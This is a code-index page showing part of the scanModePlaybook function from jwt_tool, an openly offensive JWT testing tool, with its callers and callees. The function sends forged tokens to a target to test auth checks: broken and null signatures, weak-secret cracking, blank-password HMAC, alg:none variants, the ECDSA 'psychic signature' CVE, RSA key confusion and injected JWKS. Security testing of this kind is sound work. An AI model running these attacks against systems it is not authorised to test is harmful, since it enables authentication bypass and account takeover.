MCPcopy
hub / github.com/ticarpi/jwt_tool / scanModePlaybook

Function scanModePlaybook

jwt_tool.py:1395–1554  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

1393 runActions()
1394
1395def scanModePlaybook():
1396 cprintc("\nLAUNCHING SCAN: JWT Attack Playbook", "magenta")
1397 origalg = headDict["alg"]
1398 # No token
1399 tmpCookies = config['argvals']['cookies'].replace('%', '%%')
1400 tmpHeader = config['argvals']['header']
1401 if config['argvals']['headerloc'] == "cookies":
1402 config['argvals']['cookies'] = strip_dict_cookies(config['argvals']['cookies'].replace('%', '%%'))
1403 elif config['argvals']['headerloc'] == "headers":
1404 config['argvals']['header'] = ""
1405 config['argvals']['overridesub'] = "true"
1406 config['argvals']['cookies'] = tmpCookies
1407 config['argvals']['header'] = tmpHeader
1408 # Broken sig
1409 jwtTweak = contents.decode()+"."+sig[:-4]
1410 jwtOut(jwtTweak, "Broken signature", "This token was sent to check if the signature is being checked")
1411 # Persistent
1412 jwtOut(jwt, "Persistence check 1 (should always be valid)", "Original token sent to check if tokens work after invalid submissions")
1413 # Claim processing order - check reflected output in all claims
1414 reflectedClaims()
1415 jwtOut(jwt, "Persistence check 2 (should always be valid)", "Original token sent to check if tokens work after invalid submissions")
1416 # Weak HMAC secret
1417 if headDict['alg'][:2] == "HS" or headDict['alg'][:2] == "hs":
1418 cprintc("Testing "+headDict['alg']+" token against common JWT secrets (jwt-common.txt)", "cyan")
1419 config['argvals']['keyList'] = "jwt-common.txt"
1420 crackSig(sig, contents)
1421 # Exploit: blank password accepted in signature
1422 key = ""
1423 newSig, newContents = signTokenHS(headDict, paylDict, key, 256)
1424 jwtBlankPw = newContents+"."+newSig
1425 jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature (-X b)", "This token can exploit a hard-coded blank password in the config")
1426 # Exploit: Psychic Signature for ECDSA (CVE-2022-21449)
1427 psySig = checkPsySig(headDict, paylB64)
1428 jwtOut(psySig, "Exploit: 'Psychic Signature' accepted in ECDSA signing (-X p)", "Testing if the ECDSA signing process can be fooled (CVE-2022-21449)")
1429 # Exploit: null signature
1430 jwtNull = checkNullSig(contents)
1431 jwtOut(jwtNull, "Exploit: Null signature (-X n)", "This token was sent to check if a null signature can bypass checks")
1432 # Exploit: alg:none
1433 noneToks = checkAlgNone(headDict, paylB64)
1434 zippedToks = dict(zip(noneToks, ["\"alg\":\"none\"", "\"alg\":\"None\"", "\"alg\":\"NONE\"", "\"alg\":\"nOnE\""]))
1435 for noneTok in zippedToks:
1436 jwtOut(noneTok, "Exploit: "+zippedToks[noneTok]+" (-X a)", "Testing whether the None algorithm is accepted - which allows forging unsigned tokens")
1437 # Exploit: key confusion - use provided PubKey
1438 if config['crypto']['pubkey']:
1439 newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey'])
1440 jwtOut(newTok+"."+newSig, "Exploit: RSA Key Confusion Exploit (provided Public Key)")
1441 headDict["alg"] = origalg
1442 # Exploit: jwks injection
1443 try:
1444 origjwk = headDict["jwk"]
1445 except:
1446 origjwk = False
1447 jwksig, jwksContents = jwksEmbed(headDict, paylDict)
1448 jwtOut(jwksContents+"."+jwksig, "Exploit: Injected JWKS (-X i)")
1449 headDict["alg"] = origalg
1450 if origjwk:
1451 headDict["jwk"] = origjwk
1452 else:

Callers 1

runScanningFunction · 0.85

Calls 15

cprintcFunction · 0.85
strip_dict_cookiesFunction · 0.85
jwtOutFunction · 0.85
reflectedClaimsFunction · 0.85
crackSigFunction · 0.85
signTokenHSFunction · 0.85
checkPsySigFunction · 0.85
checkNullSigFunction · 0.85
checkAlgNoneFunction · 0.85
checkPubKeyExploitFunction · 0.85
jwksEmbedFunction · 0.85
exportJWKSFunction · 0.85

Tested by

no test coverage detected